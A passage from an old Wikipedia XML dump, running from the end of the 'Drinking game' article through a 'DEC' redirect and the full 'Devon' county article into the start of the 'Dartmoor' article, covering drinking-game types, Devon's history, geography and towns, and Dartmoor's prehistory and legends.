It is not immediately obvious whether the person with the highest intoxication level at the end of the game is the winner, the loser, or both. It largely depends on whether each player has to provide their own beverages or if they share beverages from a common pool. Unlike most games, where practice makes perfect, drinking games are often downward-motion games- The more one plays (in a sitting) the worse one typically gets.

==Common drinking games==

Perhaps the simplest drinking games are the ones in which players compete to out-drink each other. Players take turns taking shots, and the last person standing is the winner. Some games have rules involving the &quot;cascade&quot; or &quot;waterfall&quot;, which encourages each player to drink constantly from their cup so long as the player before him doesn't stop drinking. Such games can also favor speed over quantity, in which case players might, for example, race to drink a beer the fastest. Games that involve creative thinking (such as naming a sports player whose name begins with a particular letter, for example) might be played under a &quot;drink while you think&quot; rule in which a player must consume his beverage until he can come up with an answer.

Numerous drinking games are based on popular [[film|movie]]s, [[television]] shows, and even [[book]]s. The rules for these usually instruct the players to drink when some event occurs, such as a character speaking a [[catch phrase]] in [[comedy|comedies]], or the use or mention of a particular technology in [[science fiction]]. Typically the size of the drink is [[inversely proportional]] to the frequency of the event &amp;mdash; an event that happens rarely can call for finishing one's current can/bottle. These games might have simple, easily remembered rules, or they might have detailed rules, often available on the [[Internet]].

A generalization of the above can apply to other circumstances in which the participants are observing a situation in which certain predictable events occur, such as a movie, a [[football]] game, or other people at a party or in a bar. For example, each player may be assigned the name or number of a football player, and must drink when that name or number is mentioned by the commentators or shown on the screen. Events such as the [[State of the Union]] address, the [[Oscars]], and the [[Eurovision Song Contest]] (for example) have become targets of such drinking games, often as a means of relieving the monotony of a long event.

Some drinking games, such as [[Quarters]], involve performing certain skills, which become more difficult as the level of [[intoxication]] increases. Other drinking games rely on memory; each player must repeat a series of events, and then add to it. If a player repeats the series incorrectly, he or she must take a drink. Another variety is a game that is played constantly throughout a night of drinking, for example, only drinking with your other hand (left hand if you're right-handed, and vice versa). If a player accidentally picks up their glass with the wrong hand, they have to finish their drink. Such games start off simple, but become much more challenging as the game continues, the players get more drunken and their coordination and memory deteriorate.

While a drinking game is in progress, or between games, [[International Drinking Rules]] may be in force.

==Other drinking games==
===Card games===
* [[Beeramid]]
* [[Circle_of_Death_%28drinking_game%29|Circle of death]]
* [[Cross the River]]
* [[Drunken Uno]]
* [[Fuck the Dealer]]
* [[The Good, The Bad and the Ugly (Game)|The Good, the Bad and the Ugly]]
* [[Hi-Lo]]
* [[Horserace|Horserace (drinking game)]]
* [[Kings (drinking game)|Kings]]
* [[Old Maid]]
* [[President (game)|President]] (aka Asshole, Presidents &amp; Assholes)
* [[Ride the Bus]] (aka Drunk Driver)
* [[Up And Down The River (drinking game)|Up and Down the River]]
* Drunken Snail
* King Tut
* Drink your face off
* Beer Pong Card Game
* Pub Crawls
* Sheps Deal

===Dice games===
* [[Beer Die]]
* [[Liar's dice]] (Mexican)
* [[Mr. Three]]
* [[5 Die]]
* [[Seven-Eleven Doubles]]
* [[Tablero da Gucci]]
* [[Blates]]

===Quarters Games===
* [[Quarters]]
* [[Robopound]]
* Sandstorm
* Baseball
* Wall Destroyer

===Skill, memory and repetition===
* [[Drink while you think]]
* [[21 (game)|21]]
* [[Beer-In-Hand]] - a modification to any pocket billiards game
* [[Buffalo (game)|Buffalo]]
* [[Caps (drinking game)|Caps]]
* [[Captain Paf]] or ''Cardinal Puff''
* [[Disassociation/Association]] - a simple word game in the vain of Simple Simon.
* [[FizzBuzz]]
* [[Strat (drinking game)|Strat]] - an elaborate, score-based variant of Quarters
* [[Bunnies drinking game]]
* [[yee-hah_game|The yee-hah game]]
* [[Fuzzy Duck]]
* [[One fat hen]]
* [[Horsepucky]] or Cake
* [[Bouncing coins]]
* [[Bizu-Bizu]]
* [[Matchboxes]]
* [[Who Shit]]
* [[Roman Numerals (game)|Roman Numerals]] - ''a.k.a. Poo Bum Dickie''
* [[Man Your Spacesuits]]
* [[Ten Minute Warning (drinking game)|Ten Minute Warning]]
* [[Zumi-Zumi]]

===Movies, television, music, etc.===
* A constantly updated and increasingly comprehensive collection of original movie drinking games can be found at [http://www.lazydork.com www.lazydork.com], which has become the definitive internet movie drinking game site.
* The [[DVD]] for the comedy movie [[Eurotrip]] ([[2004]]) has a full-length audio commentary wherein the directors play a drinking game to their own movie.
* &quot;Hi, Bob&quot;: a sip is taken whenever a character on [[The Bob Newhart Show]] says the name &quot;Bob,&quot; and the entire drink is consumed when the sentence &quot;Hi, Bob&quot; is spoken.
* [[Roxanne (drinking game)]]
* [[Withnail and I drinking game]]
* Deadwood (everyone drinks every time a character says &quot;cocksucker&quot;)

===Speed consumption===
* [[Funneling]]
* [[Power Hour]] and Centurion
* [[Drink My Battleship]]
* [[Rock, Paper, Scissors (drinking game)|Rock, Paper, Scissors]]
* [[Rogaining (drinking game)|Rogaining]]
* [[Shotgunning]]
* [[Strawpedo]]
* [[Edward Forty-Hands]]
* [[Boat Race (game)|Boat Race]]
* [[Yard (beer)]]
* [[Guess the Number]]

===Games to decide who buys the next round===
* [[Jug Game|The Jug Game]]
* [[Spin the Ghillie]]
* [[Spoof (game)|Spoof]]
* [[Swing Low Sweet Chariot]]

===Other party and pub games===
* [[Beer Hunter]]
* [[Beer Pong]] or [[Beer Pong|Lob pong]] (a drinking game requiring the use of [[ping pong]] balls)
* [[You Drink]]
*[[Bottle polka]] aka Hi-Ho!, Pass the bottle, etc
* [[Chicken Finger Drinking Game]]
* [[Flip Cup]]
* [[Georgings|Georging]]
* [[Goon of Fortune]]
* [[KOTRT]] (Knights of the Round Table)
* [[Pub golf]]
* [[Pennying]]
* [[Sink the Titanic]]
* Snow White and the Seven Dwarves
* [[Vodka barman]]
* Landmines
* [[I Never|I have never...]] (also: I never, Never have I ever)
* Beersketball (a game based on [[Baseketball]] and [[Beer Pong]])

===Conversion of other games===

Almost any [[game]] of skill or chance that does not traditionally involve drinking can theoretically be converted into a drinking game. In some games, conversion could be as easy as letting the winner distribute shots to the other players, while in more complicated games, shots can be forced upon players for specific events in the game.

For example, in the game of [[chess]], players may have to take drinks when one of their pieces are captured (or perhaps the opposite, where they have to drink upon capturing a piece), as portrayed in the chess-game scene of [[Our Man in Havana]]. In a popular variant of [[baseball]] called '''Beer Ball''', players have to drink some beer every time they reach a base.

Players should exercise caution before choosing to add drinking to any [[sport]] that could be dangerous under intoxication.

==External links==
*[http://www.lazydork.com Lazydork's Movie Drinking Games]
*[http://www.drinkswap.com DrinkSwap: 700+ Drinking Games]
*[http://www.barmeister.com/games.html BarMeister: Online Guide to Drinking]
*[http://www.rapidfish.org/joan/mwwdlsc/drinkinggame.html The Screen Savers drinking game]
*[http://www.gulfwardrinkinggame.com/ The Gulf War drinking game]
*[http://www.avalon.net/~matrix/drink/cops.html The Cops drinking game]
*[http://planetofthegeeks.com/trek/beertrek/ BeerTrek - Star Trek Drinking Game]
*[http://www.geocities.com/TelevisionCity/Set/7200/drinking.htm The Ultimate Drinking Game page]
*[http://www.pongalong.com/ Beer Pong, Flip Cup and Baseball Drinking Games]
*[http://www.webtender.com/handbook/games/ The Webtender - Bartender's Handbook - Drinking Games]
*[http://www.ringthis.com/tvdrink/tv.php Ring This... TV and Movie Drinking Games]
*[http://www.tarfumes.com Tarfumes.com - Movie and TV Drinking Games]
*[ftp://nic.funet.fi/pub/culture/beer/misc/drinking_games/ Collection at nic.funet.fi]
*[http://compare-stuff.com/party-game.shtml Web-based drinking/party game at compare-stuff.com]
*[http://www.funwithbeer.com/ Beer Fun and Reviews]

[[Category:Drinking games| ]]

[[no:Drikkelek]]
[[fi:Juomapeli]]
[[sv:Dryckesspel]]</text>
    </revision>
  </page>
  <page>
    <title>DEC</title>
    <id>8163</id>
    <revision>
      <id>15906182</id>
      <timestamp>2005-04-22T20:11:59Z</timestamp>
      <contributor>
        <username>SDC</username>
        <id>181435</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Dec]]</text>
    </revision>
  </page>
  <page>
    <title>Devon</title>
    <id>8166</id>
    <revision>
      <id>41354827</id>
      <timestamp>2006-02-26T20:35:34Z</timestamp>
      <contributor>
        <username>Marknew</username>
        <id>10695</id>
      </contributor>
      <minor />
      <comment>Revert to last edit by [[User:Dewnans]]</comment>
      <text xml:space="preserve">{{alternateuses}}

'''Devon''' is a large [[Counties of England|county]] in [[South West England]], bordering on [[Cornwall]] to the west, [[Dorset]] and [[Somerset]] to the east. The name '''Devonshire''' was once common but is now rarely used, although it does feature in some names and titles (such as the [[Duke of Devonshire]]), and is still to be seen on signposts in the county.

{| class=&quot;toccolours&quot; style=&quot;border-collapse: collapse; float: right; margin: 0 0 1em 1em&quot; border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; width=&quot;300&quot;
|+ &lt;big&gt;'''Devon'''&lt;/big&gt;
|-
| colspan=2 style=&quot;text-align: center; background: white;&quot; | [[Image:EnglandDevon.png]]
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; | Geography
|-
! width=&quot;45%&quot; | Status
| [[Ceremonial counties of England|Ceremonial]] &amp; (smaller) [[Metropolitan and non-metropolitan counties of England|Non-metropolitan]] county
|-
! Region
| [[South West England]]
|-
! style=&quot;font-weight: normal;&quot; | '''[[Surface area|Area]]'''&lt;br /&gt;- Total&lt;br /&gt;- Admin. council&lt;br /&gt;- Admin. area
| [[List of Ceremonial counties of England by Area|Ranked 4th]]&lt;br /&gt;[[1 E9 m²|6,707]] [[square kilometre|km&amp;sup2;]]&lt;br /&gt;[[List of Administrative shire counties of England by Area|Ranked 3rd]]&lt;br /&gt;6,564 km&amp;sup2;
|-
! Admin HQ
| [[Exeter]]
|-
! [[ISO 3166-2:GB|ISO 3166-2]]
| GB-DEV
|-
! [[ONS coding system|ONS code]]
| 18
|-
! [[Nomenclature of Territorial Units for Statistics|NUTS]] 3
| UKK43
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; &quot; | Demographics
|-
! style=&quot;font-weight: normal;&quot; | '''[[Population]]'''&lt;br /&gt;- Total ([[2004]] est.)&lt;br /&gt;- [[Density]]&lt;br /&gt;- Admin. council&lt;br /&gt;- Admin. pop.
|[[List of ceremonial counties of England by population|Ranked 11th]]&lt;br /&gt;1,101,600&lt;br /&gt;164 / km&amp;sup2;&lt;br /&gt;[[List of non-metropolitan counties of England by population|Ranked 12th]]&lt;br /&gt;724,700
|-
! Ethnicity
| 98.7% White
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; &quot; | Politics
|-
| colspan=2 style=&quot;text-align: center;&quot; | Devon County Council&lt;br /&gt;http://www.devon.gov.uk/
|-
! Executive
| [[Liberal Democrats (UK)|Liberal Democrat]]
|-
! [[MPs elected in the UK general election, 2005|Members of Parliament]]
|
* [[Ben Bradshaw]]
* [[Angela Browning]]
* [[Geoffrey Cox]]
* [[Linda Gilroy]]
* [[Nick Harvey]]
* [[Adrian Sanders]]
* [[Alison Seabeck]]
* [[Anthony Steen]]
* [[Gary Streeter]]
* [[Hugo Swire]]
* [[Richard Younger-Ross]]
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; &quot; | Districts
|-
| colspan=2 | &lt;center&gt;[[Image:Devon_Ceremonial_Numbered.png]]&lt;/center&gt;
#[[Exeter]]
#[[East Devon]]
#[[Mid Devon]]
#[[North Devon]]
#[[Torridge]]
#[[West Devon]]
#[[South Hams]]
#[[Teignbridge]]
#[[Plymouth]] (Unitary)
#[[Torbay]] (Unitary)
|}
{{infobox England traditional county|
   |County=     Devon
   |Image=      [[Image:EnglandDevonTrad.png]]
   |SizeRank=   3rd
   |Size=       1,661,914 acres
   |Water=      ?
   |CountyTown= [[Exeter]]
   |ChapmanCode=DEV
   |detailedImage=
 }}

[[Image:devon.brixham.750pix.jpg|thumb|left|250px|The inner harbour, [[Brixham]], south Devon, at low tide]]

==History==
:''Main article: [[History of Devon]].''

Devon was one of the first areas of [[England]] settled following the end of the last [[ice age]]. [[Dartmoor]] is thought to have been settled by [[Mesolithic]] [[hunter-gatherer]] peoples from about [[6th millennium BC|6000 BC]]. The name &quot;Devon&quot; derives from the name given by the [[Roman Empire|Roman]]s to the [[Celt]]ic people who inhabited the south western peninsula of Britain at the time of the [[Roman invasion of Britain|Roman invasion]] c. 50AD , known as the [[Dumnonii]], thought to mean 'Deep Valley Dwellers'. The Romans held the area under Military Occupation for approx 25 years. Later the area became a frontier between [[Brythonic Dumnonia]] and [[Anglo-Saxon]] [[Wessex]], and some historians claim that this resulted in the effective conquest of Devon by Wessex by [[715]] and its formal annexation around [[805]]. However, this is a matter of controversy. Later William of Malmesbury claimed &quot;that the Britons and Saxons inhabited [[Exeter]] ''aequo jure''&quot; (&quot;as equals&quot;) in [[927]].

By the [[ninth century]], however, the major threat to Saxon control of Devon came not from the native British but from [[Viking]] raiders, and sporadic incursions continued until the [[Norman Conquest]]. A few [[Old Norse language|Norse]] placenames remain as a result, for example [[Lundy]] Island, though the Vikings' most lasting legacy is probably the move of the cathedral from [[Crediton]] to Exeter.

Devon has also featured in most of the civil conflicts in England since the Norman conquest, including the [[Wars of the Roses]] and [[Perkin Warbeck]]'s rising in [[1497]], the [[Prayer Book Rebellion]] of [[1549]] and the [[English Civil War]]. Perhaps most notably, the arrival of [[William III of England|William of Orange]] to launch the [[Glorious Revolution]] of [[1688]], took place at [[Brixham]].

Devon has produced [[tin]], [[copper]] and other metals from ancient times. Devon's tin miners enjoyed a substantial degree of independence through Devon's [[stannary parliament]], which dates back to the twelfth century. The last recorded sitting was in [[1748]], and it is believed they then adjourned to a pub in Tavistock.

Devon is also known for its mariners, such as Sir [[Francis Drake]], Sir [[Humphrey Gilbert]], Sir [[Richard Grenville (Elizabethan sailor)|Richard Grenville]] and Sir [[Walter Raleigh]], and as the childhood home of psychology pioneer [[Raymond Cattell]].

==Economy==
Like its neighbouring county to the west, [[Cornwall]], Devon is relatively disadvantaged economically compared to other parts of southern England, due to the decline of many traditional industries such as fishing, mining and farming. Consequently, most of Devon has qualified for the [[European Community]] [[Objective 2]] status. The epidemic of [[Foot and mouth disease|Foot and Mouth (Hoof and Mouth) disease]] in [[2001]] harmed much of the farming community severely and had knock-on effects on the rest of the county. The attractive lifestyle of the area is drawing in many new industries which are not heavily dependent upon geographical location; [[Dartmoor]], for instance, has recently seen a significant rise in the percentage of its inhabitants involved in the financial services sector. Devon is one of the rural counties, with the advantages and problems characteristic of these.

==Flag==
[[Image:Flag of Devon.svg|thumb|left|200px|The [[flag of Devon]]]]
Devon has its own (unofficial) [[Flag of Devon|flag]] which has been dedicated to [[Saint Petroc]], a local saint with numerous dedications throughout Devon and neighbouring counties. The flag was adopted in [[2003]] after a competition run by [[British Broadcasting Corporation|BBC]] Devon [http://www.bbc.co.uk/devon/community_life/features/devon_flag.shtml]. The winning design was created by website contributor Ryan Sealey, and won 49% of the votes cast. However the creation of the flag has caused some controversy, especially in neighbouring [[Cornwall]] where the need for a Devon flag is disputed. 

The cross design is reminscent of both [[England]]'s [[St George's Cross]] and neighbouring [[Cornwall]]'s [[Saint Piran's Flag]] (which also uses black and white). The colours of the flag are those popularly identified with Devon, e.g. - the colours of the [[Rugby Union ]] team, and the Green and White flag flown by the first [[Viscount Exmouth]] at the [[Bombardment of Algiers]] (now on view at the Teign Valley Museum).

==Geology, landscape and ecology==
:''Main article: [[Geology of Devon]].''

The [[Dartmoor]] [[National park|National Park]] lies wholly in Devon, and the [[Exmoor]] National Park lies in both [[Devon]] and [[Somerset]]. In addition Devon is the only county in [[England]] to have two completely separate coastlines. Both the North and South coasts offer dramatic views: much of both coastlines is named as Heritage Coast, and the [[South West Coast Path]] runs along the entire length of the both. The inland of the county has attractive rolling rural scenery and villages with [[thatch]]ed [[Cob (building)|Cob]] cottages. All these features make Devon a popular [[tourism|holiday]] destination for many Britons. The variety of scenery and habitats means that there is an exceptional range of wildlife (see [[Dartmoor wildlife]]). A popular challenge among [[bird-watching|birders]] is to find over 100 species in the county in a day.

The landscape of the south coast consists of rolling hills dotted with small towns, such as [[Dartmouth, England|Dartmouth]], [[Salcombe]], [[Totnes]] etc. The towns of  [[Torquay]] and [[Paignton]] are the principal [[seaside resort|seaside resorts]] on the south coast. The north of the county is very rural with few major towns except [[Barnstaple]], [[Great Torrington]], [[Bideford]] and [[Ilfracombe]].

Devon has also given its name to a geological era - the Devonian era (the era before the carboniferous stage), so called because the distinctive red-sandstone of exmoor was studied by geologists here. Devonian sandstone/slate is also found in neighbouring [[Cornwall]] (such as [[Tintagel]], where the castle is made from Devonian slate) and across the [[Bristol Channel]], [[Wales]] (the [[Gower peninsula]]/[[Pembrokeshire]]/[[Brecon Beacons]] has the same lumpy sandstone cliffs/hog backed hills as Exmoor). This is because around 7000 years ago the Bristol Channel did not exist, instead there was a large bay stretching between Pembrokeshire and Devon. Where the Bristol Channel is now was mainly a flat plain, although the [[Cambrian]] mountain system of Wales continued over to (what is now) Exmoor and Dartmoor. The peaty sandstone of north Devon is of poor quality (for farming), hence the bareness of the landscape. Devon's other major rock system is the carboniferous sandstone which stretches from [[Bideford]] to just outside [[Bude]] in Cornwall, which is generally better quality than the Devonian sandstone, and also contributes to a gentler, greener, more rounded landscape.

Devon's Exmoor seaboard has the highest coastline in southern Britain, culminating in the massive Great Hangman, a 1043 ft &quot;hog-backed&quot; hill with a 820 ft cliff-face, located near Combe Martin Bay. It's sister cliff is the 716 ft Little Hangman, which marks the edge of Exmoor.

==Politics and administration==
The administrative centre of Devon is the city of [[Exeter]]. The city of [[Plymouth]], the largest city in Devon, and the conurbation of [[Torbay]] (including the towns of [[Torquay]], [[Paignton]] and [[Brixham]]) are now [[unitary authority|unitary authorities]] separate from Devon for the purposes of [[local government]].

Nearly half of the holdings of the [[Duchy of Cornwall]] are in Devon.

==Cities, towns and villages==
{| style=float:right
|[[Image:Heath.jpg|thumb|right|250px|[[Heath (habitat)|Heathland]] at Woodbury Common in southeast Devon]]
|-
|[[image:torquay.devon.750pix.jpg|thumb|right|250px|Part of the seafront of [[Torquay]], south Devon, at high tide]]
|-
|[[Image:CIMG4019.JPG|thumb|right|250px|The Great Red cliff of Foreland point]]
|-
|[[image:westwardho.beach.arp.750pix.jpg|thumb|right|250px|The beach at [[Westward Ho!]], north Devon, looking north towards the [[River Taw|Taw]] and [[River Torridge|Torridge]] [[estuary|estuaries]]]]
|}
This is a list of the main towns and cities in Devon, for a complete list of settlements see [[list of places in Devon]].
{|cellpadding=4 cellspacing=4 border=0
|-
||
* [[Axminster]]
* [[Barnstaple]]
* [[Beer, Devon|Beer]]
* [[Bideford]]
* [[Brixham]]
* [[Dartmouth, Devon|Dartmouth]]
* [[Dawlish]]
* [[Exeter]]
* [[Exmouth, Devon|Exmouth]]
* [[Honiton]]
* [[Ilfracombe]]
* [[Landkey]]
* [[Lynmouth]]
* [[Newton Abbot]]
||
* [[Okehampton]]
* [[Paignton]]
* [[Plymouth]]
* [[Plympton]]
* [[Princetown]]
* [[Salcombe]]
* [[Sidmouth]]
* [[Tavistock]]
* [[Teignmouth]]
* [[Tiverton]]
* [[Torquay]]
* [[Totnes]]
|}
:''See also: [[List of civil parishes in Devon]]''

==Places of interest==
*[[Buckfast Abbey]]
*[[Castles in England#Devon|Castles in Devon]]
*[[Dartmoor]]
*[[Exmoor]]
*[[Heritage railways]]:
**[[Bideford &amp; Instow Railway]]
**[[Dartmoor Railway]]
**[[Lynton and Barnstaple Railway|Lynton &amp; Barnstaple Railway]]
**[[Paignton &amp; Dartmouth Steam Railway]]
**[[Plym Valley Railway]]
**[[South Devon Railway]]
*[[Jurassic Coast]] (a [[World Heritage Site]])
*[[Lundy]] Island
*[[Lynmouth]]

==Rivers==
''See also: [[:Category:Rivers in Devon]]''
*[[River Avon, Devon|River Avon]]
*[[River Axe, Devon|River Axe]]
*[[River Dart]]
*[[River Erme]]
*[[River Exe]]
*[[River Lyn]]
*[[River Otter]]
*[[River Tamar]] (the border between Devon and Cornwall)
*[[River Tavy]]
*[[River Taw]]
*[[River Teign]]
*[[River Torridge]]
*[[River Yeo]]

==Devon as a descriptor==
*The [[cream tea]], involving [[scones]], [[jam]] and [[clotted cream]], is a local speciality and may well have originated in Devon (neighbouring counties also claim it); in other countries such as [[New Zealand]] it is known as a '''Devonshire tea'''.
*Devon is the name of a variety of [[ham (meat)|ham]], which (presumably) comes from Devon. In [[New South Wales]], [[Australia]], Devon is a name for luncheon meat (processed ham). The name changes in different states of Australia (eg 'Fritz' in [[South Australia]], 'Polony' in [[Western Australia]]) but all describe the same type of meat.
*The [[Devon Rex]] [[cat breed]] originated here.
*[[Devon cattle|Devon]] and [[South Devon cattle|South Devon]] are breeds of [[cattle]] that originated in the county.
*The [[Devonian]] is a period in the [[geologic timescale]].

==See also==
*[[West Country dialects]]
*[[England]]
*[[English (people)]]

==External links==
*General information about Devon
** [http://www.devoncam.co.uk Devon CAM Regularly updated photos of Devon]
** [http://www.devon24.co.uk Devon24] All the local Devon news, sport and leisure
**The [[BBC]] [http://www.bbc.co.uk/devon/ Devon information page]
**Extensive general historical and geographical as well as genealogical information at the [http://www.cs.ncl.ac.uk/genuki/DEV/ UK and Ireland Genealogy website]
**[http://www.southwestcoastpath.com/ The South West Coast Path National Trail]
**[http://www.thereabouts.co.uk/devon/ Devon &amp; thereabouts]
**[http://www.devon.gov.uk/ Devon County Council]
**[http://www.passagehousegroup.co.uk/places.asp Places of interest in Devon]
**[http://www.devon-self-catering.net/ A guide to self catering in Devon]
**[[Alternative Devon]] - [http://www.alternativedevon.co.uk/ Devon musicians and photography.]
**[http://users.senet.com.au/~dewnans/ Celtic aspects of Devon]
**[http://www.holywells.com/ The Holy Wells of Devon]
**[http://www.devonlink.co.uk/ DevonLink.co.uk] - A growing human edited link directory, photograph and area review Information Companion!
*Tourist information:
**[http://www.cornwall-devon.com/ Devon &amp; Cornwall] (DACOM) Devon and Cornwall Overseas Marketing website provides information in French, German and Dutch
**[http://www.discoverdevon.com Discover Devon - County Council tourist site]
**[http://www.beautiful-devon.co.uk Beautiful Devon]
**[http://www.devonaccommodation.com Devon Accommodation Guide]
**[http://www.devon24.co.uk/flatfiles/holidayguide/holidayguide.aspx East Devon Holiday Guide]Tourist Guide for the East Devon area, includes town guide, beach guide and epostcards!
**[http://www.northdevongazette.co.uk/northdevongazette/flatfiles/scene/scene.aspx North Devon Scene]Tourist Guide for the North Devon area
&lt;!-- Currently unavailable: **[http://www.broadwayhouse.com/tourist.html Broadway House Tourism Directory] --&gt;
* Devon news and sport:
** [http://www.midweekherald.co.uk Midweek Herald] Local newspaper covering the Honiton, Axminster and Seaton areas of East Devon.
** [http://www.northdevongazette.co.uk North Devon Gazette] Free local newspaper covering the Barnstaple, Bideford, Ilfracombe and South Molton areas of North Devon.
** [http://www.exmouthjournal.co.uk Exmouth Journal] Local newspaper covering the Exmouth, Budleigh Salterton, Woodbury and Topsham areas of East Devon
** [http://www.exmouthherald.co.uk Exmouth Herald] Free local newspaper covering the Exmouth, Budleigh Salterton, Woodbury and Topsham areas of East Devon
** [http://www.sidmouthherald.co.uk Sidmouth Herald] Local newspaper covering the Sidmouth and Ottery St Mary areas of East Devon
** [http://www.thisisdevon.co.uk This is Devon] The website of the Western Morning News, Mid Devon Gazette and North Devon Journal.
** [http://www.thisissouthdevon.co.uk/ This Is South Devon] Website of the Herald Express newspaper covering the Torbay area, based in Torquay.
** [http://www.thisisexeter.co.uk Exeter Express and Echo] Local newspaper covering Exeter.
** [http://www.thisisplymouth.co.uk Plymouth Evening Herald] Local newspaper covering Plymouth.
** [http://www.phototropic.co.uk/landscapeleaps/ Dartmoor Virtual Tour] Landscape Leaps: Dartmoor 360°. Interactive Virtual Tour of Dartmoor National Park, Devon, England.

{{England ceremonial counties}}
&lt;br /&gt;
{{England traditional counties}}

[[Category:Devon| ]]

[[cy:Dyfnaint]]
[[de:Devon (England)]]
[[es:Devon]]
[[eo:Devon]]
[[fr:Comté de Devon]]
[[kw:Dewnens]]
[[nl:Devon]]
[[ja:デヴォン州]]
[[no:Devon]]
[[pl:Devon]]
[[pt:Devon]]
[[simple:Devon]]
[[sk:Devon (Anglicko)]]
[[sv:Devon, England]]
[[uk:Девон, графство]]</text>
    </revision>
  </page>
  <page>
    <title>Dartmoor</title>
    <id>8167</id>
    <revision>
      <id>41734724</id>
      <timestamp>2006-03-01T10:46:50Z</timestamp>
      <contributor>
        <ip>125.22.1.180</ip>
      </contributor>
      <comment>/* Myths and literature */</comment>
      <text xml:space="preserve">[[Image:High_Willhays.jpg|right|thumb|300px|[[High Willhays]], the highest point on Dartmoor and southern [[England]] at 621 m (2037 ft) above sea level, with [[Yes Tor]] beyond.]]

'''Dartmoor''' is an area of moorland protected by a [[National park|National Park]] in the centre of the English county of [[Devon]]. It covers 368 square miles (953 km²).  The [[granite]] upland dates from the [[Carboniferous]] period of [[geology|geological]] history, and the landscape is both dramatic, and bleak. The rolling [[heath (habitat)|moorland]] is capped with hundreds of exposed granite hilltops (known as [[tor]]s), and provides rich and diverse habitats for [[Dartmoor wildlife]]. The highest point is [[High Willhays]], 621 m above sea level. The entire area is rich in antiquities.

Parts of Dartmoor have been used as a military firing range for over 200 years. Today, the [[Ministry of Defence (United Kingdom)|Ministry of Defence]] uses three areas of the northern moor, totalling 108.71 km² (41.9 mile²), or just over 11 % of Dartmoor National Park. Red and white posts mark the boundaries of these military areas, which are shown on Ordnance Survey 1:25,000 maps.

The public enjoy extensive access rights to the rest of Dartmoor, and it is a very popular tourist destination.  The Park was featured on the TV programme [[Seven Natural Wonders]] as the top natural wonder in [[South West England]].

==History==
===Pre-history===

The majority of the prehistoric remains on Dartmoor date back to the late [[Neolithic]] and early [[Bronze Age]]. Indeed, Dartmoor contains the largest concentration of Bronze Age remains in the United Kingdom, which suggests that this was when a larger population moved onto the hills of Dartmoor.

The climate at the time was warmer than today, and much of today's moorland was covered with trees. The prehistoric settlers began clearing the forest, and established the first farming communities.

The nature of the soil, which is highly acidic, means that no organic remains have survived. However, by contrast, the high durability of the natural granite means that their homes and monuments are still to be found in abundance, as are their flint tools.

[[Image: Beardown_man_dartmoor.jpg |thumb|200px|Beardown Man, Dartmoor]]

Numerous [[menhir]]s (more usually referred to locally as [[standing stone]]s or longstones), [[stone circle]]s, [[kistvaen]]s, [[cairn]]s and [[stone row]]s are to be found on the moor. The most significant sites include: 

*Beardown Man, near [[Devil&amp;#8217;s Tor]] - isolated standing stone (3.5 m high, said to have another 1 m below ground). {{gbmapping|SX596796}}

*Challacombe, near the prehistoric settlement of [[Grimspound]] - triple stone row. {{gbmapping|SX689807}}

*[[Drizzlecombe]], east of [[Sheepstor]] village - stone circles, rows, standing stones, kistvaens and cairns. {{gbmapping|SX591669}}

*[[Grey Wethers]], near [[Postbridge, Devon|Postbridge]] - double circle, aligned almost exactly north south. {{gbmapping|SX638831}}

*Laughter Tor, near [[Two Bridges]] - standing stone (2.4 m high) and two double stone rows (one 164 m long). {{gbmapping|SX652753}}

*[[Merrivale]], between [[Princetown]] and [[Tavistock]] - includes a double stone row (182 m long, 1.1 m wide, aligned almost exactly east-west), stone circles and a kistvaen. {{gbmapping|SX554747}}

*Scorhill, west of [[Chagford]] - circle (26.8 m in circumference) and stone rows. {{gbmapping|SX654873}} 

*Shovel Down, north of [[Dartmoor reservoirs|Fernworthy reservoir]] - double stone row (approx 120 m long). {{gbmapping|SX660859}}

There are also an estimated 5,000 hut circles still surviving today, despite the fact that many have been raided over the centuries by the builders of the traditional dry stone walls. These are the remnants of Bronze Age houses. The smallest are around 6 ft (1.8 m) in diameter, and the largest may be up to five times this size. 

Some have L-shaped porches to protect against wind and rain - some particularly good examples are to be found at Grimspound. It is believed that they would have had a conical roof, supported by timbers and covered in turf or thatch.

===The historical period===
The climate worsened over the course of a thousand years from around 1000 BC, so that much of high Dartmoor was largely abandoned by its early inhabitants.

It was not until the early medieval period that the weather again became warmer, and settlers moved back onto the moors. Like their ancient forebears, they also used the natural granite to build their homes, preferring a style known as the [[Dartmoor longhouse|longhouse]] - some of which are still inhabited today, although they have been clearly adapted over the centuries. Many are now being used as farm buildings, while others were abandoned and fell into ruin.

The earliest surviving farms, still in operation today, are known as the [[Ancient Tenements]]. Most of these date back to the 14th century and sometimes earlier.

Some way into the moor stands the town of [[Princetown, England|Princetown]], the site of the notorious [[Dartmoor (HM Prison)|Dartmoor Prison]], which was originally built both by, and for, [[Napoleonic]] prisoners of war. The prison has a (now misplaced) reputation for being escape-proof, both due to the buildings themselves and its physical location.

The Dartmoor landscape is scattered with the marks left by the many generations who have lived and worked there over the centuries - such as the remains of the once mighty [[Dartmoor tin-mining]] industry, and farmhouses long since abandoned. 

Indeed the [[Industrial archaeology of Dartmoor|industrial archaeology of Dartmoor]] is a subject in its own right.

==Myths and literature==
[[Image:Dartmoor a.jpg|thumb|]]
Dartmoor, an eerie place even in high summer, abounds with myths and legends. 

The moor is reputedly the haunt of [[pixie]]s, a headless horseman, a mysterious pack of 'spectral hounds', and a large black dog. During [[The Great Thunderstorm, Widecombe|the Great Thunderstorm]] of 1638, Dartmoor was even said to have been visited by the [[Devil]].

Many landmarks have ancient legends and [[ghost]] stories associated with them, such as the mysterious [[Jay's Grave]], the ancient burial site at [[Childes Tomb|Childe's Tomb]], and the oddly shaped rockpile called [[Bowerman's Nose]].

A few stories have emerged in recent decades, such as the 'hairy hands', that are said to attack travellers on the B3212 near [[Two Bridges]]. Several motorists have claimed that the hands materialised in front of them, grasped the wheel and forced their vehicle off the road.

Dartmoor has inspired a number of artists and writers, such as [[Sir Arthur Conan Doyle]] in ''[[The Hound of the Baskervilles]]'', [[Eden Phillpotts]], [[Beatrice Chase]], [[Agatha Christie]] and the Reverend [[Sabine Baring-Gould]].

==Ownership==
